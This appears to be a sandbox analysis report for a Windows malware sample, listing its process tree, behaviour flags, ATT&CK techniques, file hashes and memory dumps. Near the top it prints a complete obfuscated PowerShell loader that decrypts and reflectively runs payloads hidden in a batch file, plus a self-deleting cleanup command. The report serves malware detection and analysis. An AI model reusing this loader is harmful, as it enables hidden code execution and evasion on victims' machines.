C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe
"uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4320

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{6eb77e5e-27b6-4f22-b18a-78e877da84b2}
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4236

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{e1889ec4-df55-4fb8-87a8-b4f3d34e4fa4}
4⤵
PID:4768

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe" & exit
4⤵
PID:5156

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
- Suspicious use of SetWindowsHookEx
PID:5500

C:\Windows\system32\PING.EXE
PING localhost -n 8
5⤵
- Runs ping.exe
PID:6056

C:\Windows\system32\taskkill.exe
taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe"
5⤵
- Kills process with taskkill
PID:5732

C:\Windows\system32\attrib.exe
ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe"
5⤵
- Views/modifies file attributes
PID:6140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3648

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3844

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4004

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4516

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1600

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1084

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:5064

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4604

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3112

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4436

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:4524

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1400

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:60

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

5

T1012

System Information Discovery

5

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe
Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s4h50qly.v4j.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe
Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe
Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/316-103-0x000001EC4B650000-0x000001EC4B677000-memory.dmp

Filesize
156KB

Download
memory/316-106-0x00007FF9380D0000-0x00007FF9380E0000-memory.dmp

Filesize
64KB

Download
memory/388-111-0x0000022E61060000-0x0000022E61087000-memory.dmp

Filesize
156KB

Download
memory/388-124-0x00007FF9380D0000-0x00007FF9380E0000-memory.dmp

Filesize
64KB

Download
memory/608-97-0x00000220B00E0000-0x00000220B0102000-memory.dmp

Filesize
136KB

Download
memory/608-99-0x00000220B0110000-0x00000220B0137000-memory.dmp

Filesize
156KB

Download
memory/608-104-0x00007FF9380D0000-0x00007FF9380E0000-memory.dmp

Filesize
64KB

Download
memory/664-100-0x0000026203EA0000-0x0000026203EC7000-memory.dmp

Filesize
156KB

Download
memory/664-109-0x00007FF9380D0000-0x00007FF9380E0000-memory.dmp

Filesize
64KB

Download
memory/860-120-0x00000261CEDC0000-0x00000261CEDE7000-memory.dmp

Filesize
156KB

Download
memory/860-121-0x00007FF9380D0000-0x00007FF9380E0000-memory.dmp

Filesize
64KB

Download
memory/948-113-0x00007FF9380D0000-0x00007FF9380E0000-memory.dmp

Filesize
64KB

Download
memory/948-112-0x0000028FD3800000-0x0000028FD3827000-memory.dmp

Filesize
156KB

Download
memory/1112-131-0x00007FF9380D0000-0x00007FF9380E0000-memory.dmp

Filesize
64KB

Download
memory/1112-126-0x000001D0CEA60000-0x000001D0CEA87000-memory.dmp

Filesize
156KB

Download
memory/1124-129-0x00007FF9380D0000-0x00007FF9380E0000-memory.dmp

Filesize
64KB

Download
memory/1124-123-0x000001DC81970000-0x000001DC81997000-memory.dmp

Filesize
156KB

Download
memory/1140-127-0x00000250F3570000-0x00000250F3597000-memory.dmp

Filesize
156KB

Download
memory/1216-128-0x00000244F5520000-0x00000244F5547000-memory.dmp

Filesize
156KB

Download
memory/2308-85-0x000001F6E7A80000-0x000001F6E7ACE000-memory.dmp

Filesize
312KB

Download
memory/2308-87-0x00007FF977DA0000-0x00007FF977E5E000-memory.dmp

Filesize
760KB

Download
memory/2308-60-0x000001F6E6AF0000-0x000001F6E7076000-memory.dmp

Filesize
5.5MB

Download
memory/2308-61-0x000001F6EF150000-0x000001F6EF91A000-memory.dmp

Filesize
7.8MB

Download
memory/2308-62-0x000001F6EF920000-0x000001F6EFD5E000-memory.dmp

Filesize
4.2MB

Download
memory/2308-63-0x000001F6EFD60000-0x000001F6EFE12000-memory.dmp

Filesize
712KB

Download
memory/2308-64-0x00007FF978050000-0x00007FF978245000-memory.dmp

Filesize
2.0MB

Download
memory/2308-72-0x000001F6E7A30000-0x000001F6E7A80000-memory.dmp

Filesize
320KB

Download
memory/2308-73-0x000001F6E7B40000-0x000001F6E7BF2000-memory.dmp

Filesize
712KB

Download
memory/2308-74-0x000001F6E7DD0000-0x000001F6E7F92000-memory.dmp

Filesize
1.8MB

Download
memory/2308-84-0x000001F6E79E0000-0x000001F6E7A1C000-memory.dmp

Filesize
240KB

Download
memory/2308-58-0x00007FF978050000-0x00007FF978245000-memory.dmp

Filesize
2.0MB

Download
memory/2308-86-0x00007FF978050000-0x00007FF978245000-memory.dmp

Filesize
2.0MB

Download
memory/2308-59-0x00007FF977DA0000-0x00007FF977E5E000-memory.dmp

Filesize
760KB

Download
memory/2308-88-0x000001F6E73A0000-0x000001F6E73D6000-memory.dmp

Filesize
216KB

Download
memory/2308-57-0x000001F6E4430000-0x000001F6E4454000-memory.dmp

Filesize
144KB

Download
memory/3100-93-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3100-96-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4124-90-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4124-92-0x00007FF977DA0000-0x00007FF977E5E000-memory.dmp

Filesize
760KB

Download
memory/4124-91-0x00007FF978050000-0x00007FF978245000-memory.dmp

Filesize
2.0MB

Download
memory/4124-94-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4124-89-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4136-29-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4136-31-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4236-32-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4236-34-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4320-26-0x00007FF978050000-0x00007FF978245000-memory.dmp

Filesize
2.0MB

Download
memory/4320-28-0x000002B781200000-0x000002B78120A000-memory.dmp

Filesize
40KB

Download
memory/4320-25-0x000002B780F20000-0x000002B780F42000-memory.dmp

Filesize
136KB

Download
memory/4320-24-0x000002B780EC0000-0x000002B780F18000-memory.dmp

Filesize
352KB

Download
memory/4320-23-0x000002B780E60000-0x000002B780EB6000-memory.dmp

Filesize
344KB

Download
memory/4320-22-0x000002B780DB0000-0x000002B780E56000-memory.dmp

Filesize
664KB

Download
memory/4320-20-0x000002B780360000-0x000002B780DB0000-memory.dmp

Filesize
10.3MB

Download
memory/4320-18-0x00007FF978050000-0x00007FF978245000-memory.dmp

Filesize
2.0MB

Download
memory/4320-19-0x00007FF977DA0000-0x00007FF977E5E000-memory.dmp

Filesize
760KB

Download
memory/4320-17-0x000002B780000000-0x000002B780024000-memory.dmp

Filesize
144KB

Download
memory/4320-16-0x00007FF958BF0000-0x00007FF9596B1000-memory.dmp

Filesize
10.8MB

Download
memory/4320-15-0x00007FF958BF0000-0x00007FF9596B1000-memory.dmp

Filesize
10.8MB

Download
memory/4320-10-0x000002B7DEE50000-0x000002B7DEE72000-memory.dmp

Filesize
136KB

Download
memory/4320-4-0x00007FF958BF3000-0x00007FF958BF5000-memory.dmp

Filesize
8KB

Download
memory/4320-380-0x00007FF958BF3000-0x00007FF958BF5000-memory.dmp

Filesize
8KB

Download
memory/4320-381-0x00007FF958BF0000-0x00007FF9596B1000-memory.dmp

Filesize
10.8MB

Download
memory/4320-1565-0x00007FF969153000-0x00007FF969154000-memory.dmp

Filesize
4KB

Download
memory/4320-1566-0x00007FF958BF0000-0x00007FF9596B1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads